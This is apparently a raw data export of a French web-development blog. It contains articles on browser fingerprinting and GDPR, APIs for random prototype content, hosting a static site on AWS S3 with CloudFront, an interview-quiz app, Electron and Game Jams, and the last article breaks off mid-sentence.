utilisateur.\n\n> Oui les caractéristiques de votre navigateur peuvent être considérées comme des données personnelles si elles sont recoupées entre elles.\n\nEn résumé, le fingerprinting est autorisé à condition d'avoir **un consentement explicite de l'utilisateur** ou bien de **ne pas stocker le résultat de l'algorithme** pour l'utiliser à seule fin de détection de fraudes par exemple.\n\n> En tout cas en pratique, rien ne vous empêche d'expérimenter de votre côté pour comprendre son fonctionnement !\n\n**Pour plus d'informations sur le fingerprinting et la RGPD**, je vous mets le lien d'un article de l'Electronic Frontier Foundation (en anglais) : [https://www.eff.org/deeplinks/2018/06/gdpr-and-browser-fingerprinting-how-it-changes-game-sneakiest-web-trackers](https://www.eff.org/deeplinks/2018/06/gdpr-and-browser-fingerprinting-how-it-changes-game-sneakiest-web-trackers)\n\n::: bookmark\n[![](https://www.eff.org/files/banner_library/eu-fingerprint.png)The GDPR and Browser Fingerprinting: How It Changes the Game for the Sneakiest Web Trackers](https://www.eff.org/deeplinks/2018/06/gdpr-and-browser-fingerprinting-how-it-changes-game-sneakiest-web-trackers)\n:::\n\n> J'espère que cet article vous aura été utile, et à _bientôt sur le blog !_\n\n","Et si je vous disais que vous pouvez être traqué même au travers d'un VPN, en navigation privée et avec les cookies de désactivés !","le-fingerprinting-ou-comment-tracker-un-utilisateur-sans-cookies","2020-07-01T08:15:37.000Z","2023-09-19T15:05:35.584Z","2021-07-02T07:11:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/06/george-prentzas-SRFG7iwktDk-unsplash.jpg","George Prentzas sur Unsplash","https://unsplash.com/@georgeprentzas?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":339,"title":340,"content":341,"socialTitle":8,"description":342,"socialDescription":8,"slug":343,"createdAt":344,"updatedAt":345,"publishedAt":346,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":347,"coverCopyright":231,"coverCopyrightLink":232},51,"6 APIs pour générer du contenu aléatoire sur vos prototypes !","J'ai créé **des dizaines de prototypes d'applications et de sites web** jusqu'à aujourd'hui, parfois juste pour tester une techno, et parfois dans le but de créer une source de revenu potentielle.\n\nÀ force de présenter ces prototypes à des amis ou des futurs utilisateurs j'ai compris une chose : **les gens n'arrivent pas à se projeter** (et souvent ils ne savent pas vraiment ce qu'ils veulent non plus).\n\nSi vous mettez une application avec un super design mais **sans aucun contenu** dans les mains d'un testeur, **son attention risque de se concentrer sur le manque de contenu, et ses retours seront biaisés**.\n\nVoilà pourquoi je vais vous présenter aujourd'hui **5 APIs** utilisables très facilement et **permettant d'afficher du contenu aléatoire sur votre application : images, textes, couleurs, tout y est !**\n\n> En plus, avoir du contenu aléatoire vous permettra de mettre votre design à l'épreuve en testant des possibilité auxquelles vous n'auriez pas pu penser.\n\n## RandomUser\n\nVous devez **lister des utilisateurs**, mais vous n'en avez aucun, alors cette API est faites pour vous !\n\nUn simple appel sur l'url suivante et vous pourrez **récupérer toutes les informations personnelles** (ainsi que la photo) **d'un utilisateur** généré au hasard !\n\nLe site : [https://randomuser.me/](https://randomuser.me/) \nL'api : [https://randomuser.me/api/](https://randomuser.me/api/)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/randomuser.png)\n\nFonctionnalités supplémentaires :\n\n* Génération de multiples profiles en une seule requête\n* Générer uniquement un genre particulier\n* Ajouter la nationalité pour améliorer le formatage des données\n\nJ'ai notamment utilisé cette API pour mon projet de **[template minimaliste de site personnel pour développeur \"John Doe\"](https://github.com/NicolasBrondin/john-doe)** afin de générer des profils aléatoires !\n\n## Fake Store\n\nVous montez un site e-commerce et vous n'avez encore aucun produit à proposer ? Fake Store vous permet de monter **un faux business e-commerce avec des produits fictifs.**\n\nLe site : [https://fakestoreapi.com/](https://fakestoreapi.com/) \nL'api : [https://fakestoreapi.com/products](https://fakestoreapi.com/products)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/05/random-products.png)\n\nEn plus de renvoyer des produits aléatoires, cette API vous permet aussi de **simuler des utilisateurs et leurs paniers d'achats en cours.**\n\nLe projet continue d'évoluer et de nouvelles fonctionnalités sortent de temps à autres, cette API pourrait devenir un outil incontournable si il continue à être maintenu de la sorte !\n\n## Unsplash\n\nJ'ai déjà parlé d'Unsplash dans mon précédent article \"**[Les 10 meilleures ressources graphiques (gratuites)...](https://code-garage.fr/les-10-meilleures-ressources-graphiques-gratuites/)**\", si vous ne l'avez pas lu, je vous le conseille !\n\nMais aujourd'hui je vous parle de ce site parce qu'il met aussi à disposition u**ne API d'image aléatoire vraiment pratique (et configurable)**\n\nLe site : [https://unsplash.com](https://unsplash.com) \nL'api : [https://source.unsplash.com/random](https://source.unsplash.com/random)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/unsplash.png)\n\nEn terme de configuration, vous pouvez demander une photo aléatoire qui :\n\n* respecte une certaine taille\n* contient des **mot-clés spécifiques**\n* est actuellement dans les **photos à la une**\n* appartient à un **utilisateur spécifique**\n* et j’en passe...\n\nLe seul petit bémol de cet outil est que **la plupart des photos sont disponibles en grandes tailles**, et donc parfois **un peu lourdes à charger**, je vous conseille donc de l’utiliser pour vos prototypes et vos tests, mais **pas en production** !\n\n## Placeholder\n\nVous ne voulez pas charger d’images trop lourdes dans votre projet et vous ne voulez pas non plus laisser vos images vides ? Alors [](https://placeholder.com)[p](https://placeholder.com)laceholder.com est fait pour vous.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/placeholder.png)\n\nLe site : [https://placeholder.com](https://placeholder.com) \nL'api : [https://via.placeholder.com/150](https://via.placeholder.com/150)\n\nSimplement avec les paramètres de l'url dans votre balise image, vous pouvez demander :\n\n* **la taille exacte** que vous voulez\n* **une couleur** de fond spécifique\n* un **texte personnalisé**\n* un **format d'image** parmi les plus utilisés (.jpg, .png, .gif, etc.)\n\n_Elle est pas belle la vie ?_\n\n## RandomText\n\nVous avez besoin de contenu texte pour votre application mais vous n’êtes pas inspiré et **vous voulez éviter le Lorem Ipsum** ?\n\nGrâce à RandomText, vous pouvez **générer du contenu texte** (en anglais) **de la taille que vous voulez** que ce soit en nombre de mots ou en paragraphes. Il est même possible de directement **générer des listes** en html !\n\nLe site : [https://www.randomtext.me](https://www.randomtext.me/#/gibberish/p-5/20-35) \nL'api : [https://www.randomtext.me/api/gibberish/p-5/1](https://www.randomtext.me/#/gibberish/p-5/20-35)\\-15\n\n> La génération de texte sur le site est cassée, mais l'api fonctionne parfaitement !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/random-text.png)\n\n## Colr\n\nSi vous voulez donner la possibilité **à vos utilisateurs de choisir leurs propres couleurs** dans certains réglages de votre application, **il faut vous attendre à tout** car la plupart ne seront pas designer !\n\nPour simuler cette frénésie artistique, rien de mieux que de **générer des couleurs aléatoires et voir si votre design global tient quand même le coup** !\n\nLe site : [http://colr.org](http://colr.org) \nL'api : [http://www.colr.org/json/color/random](http://www.colr.org/json/color/random)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/colr.png)\n\n","Arrêtez d'aller chercher des images au hasard sur Google pour vos prototypes, il y a des outils pour ça !","apis-pour-generer-du-contenu-aleatoire-sur-vos-prototypes","2020-07-06T06:13:16.000Z","2023-09-19T15:05:35.674Z","2021-05-04T07:25:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/05/dan-gold-TQi0b5frUhk-unsplash.jpg",{"id":349,"title":350,"content":351,"socialTitle":8,"description":352,"socialDescription":8,"slug":353,"createdAt":354,"updatedAt":355,"publishedAt":356,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":357,"coverCopyright":358,"coverCopyrightLink":359},52,"Comment héberger un site statique (avec SSL) sur AWS en quelques minutes !","On peut dire ce qu'on veut d'AWS, de ses tarifs et de son interface pas toujours très compréhensible, mais en ce qui concerne **l'hébergement de fichiers statiques et de son service de CDN**, il n'y a pas grand chose à redire !\n\nDans un précédent article, je vous présentait [une manière simple d'héberger une démo statique sur Github](https://code-garage.fr/comment-heberger-gratuitement-la-demo-dun-projet-sur-github/), mais comment faire quand on veut **avoir un site statique en production qui tienne la route** ?\n\nC'est exactement ce que l'on va voir aujourd'hui, et tout ce dont vous avez besoin, c'est un nom de domaine et un compte AWS activé !\n\nCréez un compte aujourd'hui et bénéficiez de 12 mois d'accès à l'offre gratuite : [https://portal.aws.amazon.com/billing/signup#/start](https://portal.aws.amazon.com/billing/signup#/start)\n\n> Je précise que cet article n'est absolument pas sponsorisé !\n\n## 1 - Création du bucket et upload des fichiers\n\nLorsque l'on parle d'AWS S3, on ne parle pas de dépôt, ni de serveur, mais **de bucket** (\"seau\" en français).\n\nL'avantage de ce service est de pouvoir **héberger des fichiers statiques très facilement, à moindre coût**, et de les rendre **disponibles publiquement** (ou non) **au travers d'une url**.\n\nRendez-vous sur la console S3 : [https://s3.console.aws.amazon.com/s3/home](https://s3.console.aws.amazon.com/s3/home)\n\nEnsuite, il vous suffit de cliquer sur le bouton \"**Créer un bucket**\", de choisir son nom, sa localisation et les droits d'accès. **Vous devez autoriser l'accès public** car nous allons héberger un site, qui est par définition, public.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/s3.JPG)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/acl.JPG)\n\nUne fois que c'est fait, vous devriez tomber sur **un bucket vide, dans lequel il ne reste plus qu'à uploader vos fichiers**.\n\n> Attention, lorsque vous uploadez les fichiers de votre site statique, vous devez autoriser la lecture publique des fichiers, sinon le bucket risque de vous refuser l'accès et de vous retourner une erreur 403.\n\n## 2 - Configuration du bucket\n\nPouvoir accéder à ses fichiers par un lien c'est bien, mais cela ne veut pas dire que c'est déjà fini, car **sans configuration supplémentaire, S3 va nous renvoyer nos fichiers html comme de vulgaires fichiers textes**...\n\n> Et après tout il a raison, ce ne sont que des fichiers textes dans le fond !\n\nMais heureusement, en allant dans l'onglet \"Configuration\" vous devriez trouver un encart \"**Hébergement de site statique**\" en cliquant dessus, vous devriez pouvoir activer cette option gratuitement et la configurer comme ci-dessous :\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/web-statique.JPG)\n\nEt par magie, AWS devrait directement vous fournir un lien pour accéder à votre site web ! Dans la suite de ce tutoriel, nous allons **relier notre nom de domaine personnalisé à cet hébergement** grâce à Amazon Cloudfront.\n\n> Pensez à tester que le lien donné par S3 vous permet bel et bien d'accéder à votre site, sinon refaite les étapes précédentes !\n\n## 3 - Création de la distribution Cloudfront\n\nCloudfront est le **CDN** des services web d'Amazon, et ce dernier va nous servir à quatre choses :\n\n* Rendre notre **site disponible facilement** partout sur le globe\n* **Alléger la charge en lecture** de notre bucket S3\n* **Relier un nom de domaine personnalisé**, et surtout...\n* **Ajouter un certificat SSL** à notre hébergement!\n\nPour cela, rendez-vous sur le tableau de bord Cloudfront : [https://console.aws.amazon.com/cloudfront/home](https://console.aws.amazon.com/cloudfront/home)\n\nEnsuite, cliquez sur le bouton \"Créer une distribution\" et sélectionnez le mode \"web\" classique. Vous devriez arriver sur un formulaire assez long, rempli de champs très différents mais ne vous inquiétez pas, certains sont indispensables, d'autres sont simplement utiles, mais nous allons nous intéresser à seulement quatre d'entre-eux :\n\n* (**Obligatoire**) Dans le champ \"**Nom du domaine d'origine**\" vous allez copier-coller l'url que vous a fourni votre bucket S3 juste avant. (Attention à **bien copier-coller l'url et à ne pas la sélectionner dans la liste**, c'est important)\n* (Optionnel) Ensuite vous pouvez activer l'option \"**Compresser automatiquement les objets\"**, cela permet d'activer la compression gzip de vos fichiers sur le serveur.\n* (**Obligatoire**) Dans le champ \"**Objet racine par défaut**\", indiquez \"index.html\".\n* (Optionnel) Vous pouvez indiquer le nom de votre site dans le champ \"**Commentaire**\", cela vous sera utile pour vous y retrouver dans toutes vos distributions !\n\n**À la fin, il ne vous reste plus qu'à valider la création**. Le déploiement d'une nouvelle distribution Cloudfront **peut mettre un peu de temps**, mais vous devriez pouvoir accéder à votre nouvelle url (en xxxx.cloudfront.net) quelques minutes plus tard !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/cloudfront.JPG)\n\n> Comme pour l'url S3, pensez bien à vérifier que votre site est accessible au travers de l'url Cloudfront une fois que la distribution est passée en statut (Déployé)\n\n## 4 - Génération du certificat SSL\n\nGérer les certificats SSL avec Amazon permet de **ne pas se soucier du renouvellement**, et que l'intégration du certificat dans les autres services **se fasse très simplement**. \n \nPour cela il vous suffit d'ouvrir le \"**Certificate Manager**\" accessible à [https://console.aws.amazon.com/acm/home](https://console.aws.amazon.com/acm/home), de sélectionner \"**Allouer les certificats**\", de cliquer sur le bouton \"**Demander un certificat**\" puis sur \"**certificat public**. \n \nEnsuite il suffit de suivre quelques étapes simples :\n\n* Ajouter **vos noms de domaine**\n* Choisir la **validation par DNS** (sautez la section sur les balises, puis confirmez la demande)\n* Pour chaque domaine, A**WS va vous fournir un enregistrement à ajouter à votre configuration DNS** (sans quoi Amazon ne pourra pas vérifier que le domaine vous appartient)\n\nUne fois ces étapes terminée, il faudra quelques minutes à Amazon pour valider le certificat, **votre certificat sera disponible à partir du moment où son statut passera en \"émis\"**.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/Capture.JPG)\n\n## 5 - Configuration du CDN\n\nLa majorité de la configuration a été faite lors de la création de la distribution Cloudfront, mais il nous reste à **relier notre nom de domaine, activer le certificat SSL et à rediriger les appels http vers https** !\n\nPour celà il vous suffit de revenir sur votre **tableau de commandes Cloudfront** et de cliquer sur l'**ID de la distribution** correspondante afin d'afficher tous les onglets de paramètres comme-ceci :\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/cdn-1.JPG)\n\n### Nom de domaine et certificat\n\nLa première étape va être d'ajouter notre nom de domaine et notre certificat, pour celà, il suffit de cliquer sur le bouton \"**Modifier**\" dans l'onglet \"**Questions d'ordre général**\".\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/cdn-general.JPG)\n\nEnsuite, vous devez indiquer vos noms de domaine, choisir l'option \"**Certificat SSL personnalisé**\" et enfin de **choisir votre certificat fraîchement émis** dans la liste.\n\n> Attention, le Certificate Manager doit afficher le status \"émis\" en face de votre certificat, sans quoi il ne sera pas visible dans la liste (si il n'apparait pas, essayez de recharger la page).\n\n### Redirection http vers https\n\nUne fois terminé, il faudra aller sur l'onglet \"**Comportement**\", sélectionner la ligne \"**Default (\\*)**\" et cliquer sur le bouton \"**Modifier**\".\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/edit.JPG)\n\nIl ne vous suffira plus qu'à sélectionner l'option \"**Rediriger HTTP vers HTTPS**\" comme indiqué ci-dessous :\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/https.JPG)\n\n### Mettre à jour\n\nCloudfront permet de mettre en cache un maximum de fichiers pour alléger votre hébergement, ce qui signifie que quand vous modifiez des fichiers, ou que vous modifier la configuration du CDN, **il faut parfois invalider les anciens fichiers en cache**.\n\nPour celà, je vous invite à cliquer sur l'onglet \"**Invalidations**\", puis \"**Créer une invalidation**\" et à invalider tout le cache (\\*) pour être sûr de **ne pas avoir de problème dû au changement de configuration** !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/invalidation.JPG)\n\n## 6 - Configuration DNS\n\nLa dernière étape consiste à **ajouter une entrée CNAME à votre gestionnaire de DNS pour votre domaine**, et de lui indiquer l'url en _xxxx.cloudfront.net_ de votre distribution.\n\nUne fois la propagation DNS terminée, **votre site devrait apparaitre parfaitement avec votre nom de domaine, et accessible uniquement en https** ! \n \nBravo, vous savez désormais publier un site statique sur AWS ! J'espère que cet article vous aura plu, si vous rencontrez un problème en le suivant, n'hésitez pas à me le dire en commentaire tout en bas de la page ! \n \n","Mettre en ligne un site statique pour quelques centimes grâce à AWS S3 et Cloudfront c'est possible !","comment-heberger-un-site-statique-avec-ssl-sur-aws-s3-cloudfront","2020-07-07T06:26:23.000Z","2023-09-19T15:05:35.711Z","2020-07-07T12:03:41.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/07/christopher-gower-m_HRfLhgABo-unsplash.jpg","Christopher Gower sur Unsplash","https://unsplash.com/@cgower?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":361,"title":362,"content":363,"socialTitle":8,"description":364,"socialDescription":8,"slug":365,"createdAt":366,"updatedAt":367,"publishedAt":368,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":369,"coverCopyright":370,"coverCopyrightLink":371},53,"Une appli d'entrainement aux tests techniques en tant que junior","Lorsque l'on aborde la partie du test technique pendant les entretiens avec les développeurs que je coach, je peux leur transmettre mon expérience en terme **d'état d'esprit, de gestion du stress, etc...**\n\n**Mais je ne peux pas les guider dans les réponses aux questions techniques**, je peux les diriger vers des plateformes d'entrainement à l'algorithmie de base comme CodingGame, mais c'est tout.\n\nLe principal problème étant que simuler des entretiens technique avec tous les coachés prend trop de temps, et surtout **je n'ai pas la science infuse et tous ne pratiquent pas les mêmes technos que moi**...\n\n> Mais j'ai trouvé une solution, enfin plutôt j'ai développé une solution !\n\n## Technical Ninja\n\nComme je le disais précédemment, il existe de nombreuses plateformes pour s'entrainer à l'algorithmie, mais **très peu pour s'entrainer aux questions pures et dures que l'on peut vous poser** pendant un entretien technique.\n\n> Quelle est la différence entre \"==\" et \"===\" en javascript ? Si votre réponse est \"c'est la même chose\", alors la suite vous sera utile !\n\nMon objectif est donc de lancer **une application web pour s'entrainer à répondre à ces questions techniques**, avec à chaque fois une explication de la réponse lorsqu'on a faux pour pouvoir continuer à progresser !\n\nL'appli (en version alpha) est disponible ici : [https://technical-ninja.cleverapps.io/](https://technical-ninja.cleverapps.io/)\n\nPour l'instant il n'y a que **quelques questions sur le javascript pour les débutants**, mais l'idée est d'arriver à emmagasiner plusieurs dizaines de questions sur **de nombreuses thématiques et pour différents niveaux** !\n\n> Pour être tenu au courant des prochains quiz et fonctionnalités disponibles, il suffit de vous inscrire à [ma newsletter juste ici](https://brondin-bernard.us10.list-manage.com/subscribe?u=d7cceffbbbbee6e35dbba982f&id=1f2bfa9dc9) !\n\nJ'ai développé cette version alpha **en une petite poignée d'heures** en me concentrant sur l'expérience utilisateur pour que **les questionnaires soient rapides, agréables à faire et pas trop frustrants**\n\n**Si vous avez des suggestions, n'hésitez pas à me les partager en commentaires**, en attendant voici la liste des évolutions à venir :\n\n* Plus de questions\n* D'autres sujets que le javascript\n* De nouveaux types de questions (réponse libre, choix multiples, etc...)\n* Enregistrement des quiz déjà terminés, de son parcours et son évolution\n* Questions à temps limité\n\n**J'espère que cette application vous plaira** et je vous dis à très vite sur le blog !\n\n","J'ai développé une application de quiz sur différents sujets techniques adaptée aux entretiens pour les développeurs !","une-appli-pour-sentrainer-aux-tests-technique-en-tant-que-junior","2020-07-08T07:58:26.000Z","2023-09-19T15:05:35.740Z","2020-07-08T08:28:43.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/07/james-pond-HUiSySuofY0-unsplash-1-.jpg","James Pond sur Unsplash","https://unsplash.com/@jamesponddotco?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":373,"title":374,"content":375,"socialTitle":8,"description":376,"socialDescription":8,"slug":377,"createdAt":378,"updatedAt":379,"publishedAt":380,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":381,"coverCopyright":382,"coverCopyrightLink":383},54,"Electron, ou comment développer des applications desktop en Javascript","**Les applications web deviennent de plus en plus puissantes** avec les nouvelles APIs mises à disposition par les navigateurs : Géolocalisation, notifications, bluetooth, etc...\n\nLe problème étant que **tous les navigateurs n'implémentent pas ces APIs** à la même vitesse, et certains **refusent même de les implémenter** tout court pour tenter de faire barrage au tracking des utilisateurs.\n\n> Si le **browser-fingerprinting** ne vous parle pas, je vous conseille [mon article à son sujet](https://code-garage.fr/le-fingerprinting-ou-comment-tracker-un-utilisateur-sans-cookies/).\n\nToujours est-il qu'il y a certaines fonctionnalités que **les navigateurs n'implémenteront jamais comme l'accès aux fichiers de la machine**, bien trop dangereux.\n\n**Mais alors comme créer des applications riches lorsque l'on est développeur web ?** Pour les applications mobiles il est possible d'utiliser des framework comme Ionic ou plus récemment React-Native, mais qu'existe-t'il pour le bon vieux desktop ?\n\n> Aujourd'hui nous allons parler d'**Electron** !\n\n## Qu'est-ce que c'est ?\n\n**Electron est un framework de développement d'application multi-plateformes** basé sur NodeJS et Chromium (la base libre de plusieurs navigateurs web, dont Google Chrome).\n\nLe principe est de pouvoir **créer des fenêtres** (comme en développement logiciel classique) et de pouvoir **gérer leur contenu en utilisant les technologies web** classiques : html, css et javascript.\n\nElectron donne **accès au système de fichier, à toutes les API web de Chromium ainsi que celles du système d'exploitation** (attention si votre application se base sur les API d'un système en particulier, elle ne fonctionnera pas sur les autres).\n\nPour vous donner une idée, voici quelques logiciels desktops créés avec Electron :\n\n* Slack\n* **Visual Studio Code**\n* Atom\n* InVision\n\n## Les avantages\n\nElectron offre de nombreux avantages, dont certains déjà cités précédemment :\n\n* Simple à prendre en main\n* Déploiement **multi-plateformes** (Windows, Mac et Linux) avec installateurs\n* Compatible avec Windows App Store et **Mac App Store**\n* Gestion des **mises à jour automatiques**\n* APIs web Chromium\n* **APIs natives de l'OS** (Menus, Notifications, etc...)\n* Accès au **système de fichiers**\n\n## Les inconvénients\n\n**Des inconvénients il y en a**, comme avec toute technologies, le tout reste à savoir si le jeu en vaut la chandelle et **si dans votre projet, les avantages dépassent les inconvénients**.\n\nJe ne vais pas tous les citer ici, d'autres gens ayant plus d'expérience que moi avec l'outil l'ont déjà très bien fait comme sur le blog [Hackernoon](https://hackernoon.com/electron-the-bad-parts-2b710c491547), mais je vais vous expliquer **les deux plus gros inconvénients de l'outil** selon moi :\n\n### Une app, un navigateur\n\nComme je vous l'ai expliqué au début, le principe d'Electron est de faire tourner une application web dans un navigateur web embarqué (Chromium).\n\nCe qui signifie que pour l'application la plus légère possible (disons un simple Hello World), **le poids de l'application et sa consommation en RAM et en CPU sera au moins égale à celle du navigateur sous-jacent**.\n\nAvoir une application de ce type qui tourne sur sa machine ne fait pas une grosse différence, mais **si l'on commence à multiplier les applications de ce genre on pose un énorme problème d'optimisation** des ressources de la machine.\n\n### Le code source visible\n\n**Le code source d'une application Electron n'est pas compilé, ni crypté**, ni obscurci (obfuscated), il est simplement packagé dans un container \"_asar\". Extraire le code source complet d'une telle archive ne demande pas plus de travail que d'executer la commande:_ `asar extract app.asar secret_source_code`\n\nIl y a des chances que le code source de votre application fasse partie de la valeur de votre entreprise (ou de votre client) et que **le rendre facilement accessible à des développeurs qui pourraient cloner application ne soit pas la meilleure idée**.\n\n_Il existe néanmoins quelques manières de rendre soi-même son code \"illisible\" ou plus difficile à extraire mais cela ne dépend que de vous, et du temps que voudra bien y passer quelqu'un intéressé par votre code !_\n\n## Mon avis sur Electron\n\nPersonnellement j'ai eu l'occasion de l'utiliser, **combiné à VueJS** pour créer mon jeu \"Candy Candy Candy\" en 48h pendant ma dernière Game Jam.\n\nElectron m'a permis de pouvoir proposer **un environnement commun à tous mes joueurs, une taille de fenêtre fixe** pour me faciliter le développement et permettre l'exportation d'un installeur sur **Windows, MacOS et Linux** rapidement!\n\n> Si vous voulez le tester, le jeu est disponible au téléchargement gratuit sur [itch.io](https://nicolas-brondin-bernard.itch.io/candy-candy-candy) et le code source sur [Github](https://github.com/NicolasBrondin/candy-candy-candy).\n\n::: bookmark\n[![](https://img.itch.zone/aW1nLzE5OTg1NjQucG5n/original/3CfmKr.png)Candy Candy Candy by Nicolas Brondin-Bernard, Stephane Lebrasseur](https://nicolas-brondin-bernard.itch.io/candy-candy-candy)\n:::\n\n**Je pense sincèrement qu'Electron est un outil très pratique**, qu'il permet de gagner du temps et de sortir une première version d'application très rapidement.\n\n**Néanmoins je le vois comme une solution temporaire**, le temps par exemple d'arriver à développer une application native (ou que React Native puisse exporter des applications Windows et Linux).\n\n**À mon avis il ne faudrait pas que les éditeurs d'applications web portent systématiquement leurs applications sur Electron**, ça ne ferait du bien ni au monde du web, ni au monde du logiciel.\n\nMais si vous ne l'avez pas testé, foncez vous faire votre propre idée !\n\n> ","Un article qui parle de mon expérience avec Electron, ses points forts mais aussi ses points faibles !","electron-ou-comment-developper-des-applications-desktop-en-javascript-web","2020-07-09T05:52:19.000Z","2023-09-19T15:05:35.767Z","2020-07-09T07:19:20.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/07/bailey-zindel-NRQV-hBF10M-unsplash.jpg","Bailey Zindel sur Unsplash","https://unsplash.com/@baileyzindel?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":385,"title":386,"content":387,"socialTitle":8,"description":388,"socialDescription":8,"slug":389,"createdAt":390,"updatedAt":391,"publishedAt":392,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":393,"coverCopyright":394,"coverCopyrightLink":395},55,"Devenir un meilleur développeur en participant à des Game Jams","J'en parlais [dans mon dernier article sur Electron](https://code-garage.fr/electron-ou-comment-developper-des-applications-desktop-en-javascript-web/), il y a plus d'un an je participais à ma première Game Jam, aujourd'hui **je vous explique ce que c'est et pourquoi il faut y participer** !\n\n## Qu'est-ce qu'une Game Jam ?\n\nUne \"Jam\" était à l'origine un évènement musical dans lequel plusieurs artistes de Jazz se rassemblait pour venir **improviser, jouer tous ensemble sans préparation, sans arrangement au préalable**.\n\nAujourd'hui le terme est utilisé pour tous les styles de musique, mais pas seulement, on parle aussi de Game Jam pour **les évènements qui rassemblent de nombreux artistes et concepteurs de jeux pour \"improviser\" un concept de jeu**, souvent autour d'un **thème défini** et sur une **période assez courte** (en général un week-end).\n\nCertaines sont en ligne, certaines sont en physique, et certaines sont en ligne mais relayées localement par des rassemblements physiques.\n\n> Je dois avouer que j'ai une grosse préférence pour les évènements physiques, l'émulation autour de l'évènement fait de l'amour du jeu vidéo une composante presque palpable dans l'atmosphère !\n\n## Pourquoi c'est utile pour les développeurs ?\n\nTous les profils sont les bienvenus lors d'une game jam : musicien, développeur, illustrateur, game designer, créatif... **Plus les compétences et les expériences sont complémentaires, plus le rendu pourra être incroyable** et ce, peu importe l'age, le sexe ou les origines des participants, c'est ce qui fait la beauté des Game Jams !\n\nEn tant que développeur, je trouve que **c'est une des expériences les plus formatrices** car pendant un week-end, l'objectif est **un dépassement de soi et de ses compétences** pour arriver à sortir un jeu-vidéo en seulement 48h !\n\n**Que ce soit pour les développeurs web**, les développeurs logiciels ou même pour de l'embarqué, **la seule limite que vous aurez sera votre imagination et votre motivation**, mais croyez-moi, on peut construire de grandes choses en si peu de temps !\n\n## Quelques game jams intéressantes\n\nIl existe des centaines (peut-être des milliers) de game jams à travers le monde, mais j'ai décidé d'en sélectionner 4 que je trouve particulièrement intéressantes, soit dans l'organisation, soit dans le concept.\n\n### Global Game Jam\n\nSite internet : [https://globalgamejam.org](https://globalgamejam.org)\n\nLa GGJ, lancée en 2009 est l'une des plus connue car **relayée de manière physique dans 860 rassemblements dans le monde, répartis dans plus de 110 pays**.\n\nChaque année un thème que tous les participants doivent suivre est dévoilé, mais il existe aussi une liste \"_d'achievements_\" (thèmes secondaires optionnels) pour **booster la créativité** de ceux qui aiment s'imposer des contraintes.\n\n**Il n'y pas de format, de support ou de style de jeu préconisé**, vous faites comme bon vous semble, laissez-vous porter par votre inspiration et votre jeu pourra figurer dans la liste globale des jeux développés pendant la Globale Game Jam !\n\nCertains  **succès commerciaux** sont même nés durant la GGJ comme le jeu : [A Normal Lost Phone](https://anormallostphone.com/) par exemple.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/screenshot_ANLP1_FR.png)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/screenshot_ANLP2_FR.png)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/screenshot_ANLP3_FR.png)\n\n### Ludum Dare\n\nSite internet : [https://ldjam.com](https://ldjam.com)\n\nNé sur un forum en 2002, la Ludum Dare (aussi appellée LDJAM) a acquise avec le temps une popularité grandissante, notamment dû à **la participation de certains grands noms du jeu-vidéo** (comme Markus Person, alias Notch, le créateur de Minecraft).\n\n::: bookmark\n[![](https://cdn.mos.cms.futurecdn.net/ea7c795fb567e0371ffd2e8f0d1952b2-1200-80.jpg)Notch makes Minicraft in 48 hours for Ludum Dare](https://www.pcgamer.com/notch-makes-minicraft-in-48-hours-for-ludum-dare/)\n:::\n\n[L](https://anormallostphone.com/)a particularité de la Ludum Dare est que son organisation se fait majoritairement en ligne, et que **les regroupement de participants se font plus souvent sur des initiatives personnelles** plutôt qu'associative comme c'est le cas pour d'autres jam.\n\nEt même si le but d'une game jam n'est pas de mettre en compétition les jeux produits, avoir l'avis de la communauté peut parfois **donner envie aux créateurs du jeu de continuer le développement** de ce dernier après la fin de l'évènement.\n\nC'est pourquoi vous pourrez trouver directement **[sur le site le classement des jeux](https://ldjam.com/events/ludum-dare/46/results)** de chaque édition avec plusieurs critères (et donc classements) comme par exemple : Overall (global), Fun, Innovation, Theme, Graphics, etc...\n\n### Trijam\n\nSite internet : [https://trijam.itch.io/](https://trijam.itch.io/)\n\nPour certaines personnes, consacrer tout un week-end à la création d'un jeu vidéo est un investissement trop important, pour d'autres, ça parait trop facile. Voilà quelques raisons qui ont poussé le studio \"Rocknight Studios\" à lancer **une game jam se déroulant sur... 3 heures** !\n\nComme l'explique le site, le but est de : \"Contruire quelque chose de jouable (et fun) en seulement 3 heures\" et personnellement **j'adore ce concept où il faut savoir être encore plus créatif pour faire un usage très stratégique de ses ressources**.\n\nSi le challenge vous parait impossible, je vous invite à regarder **la vidéo résumé de la participation de Doc Geraud**, un game designer (et vidéaste) dont j'avais déjà parlé dans mon article \"[Une méthode amusante pour élargir ses connaissances en 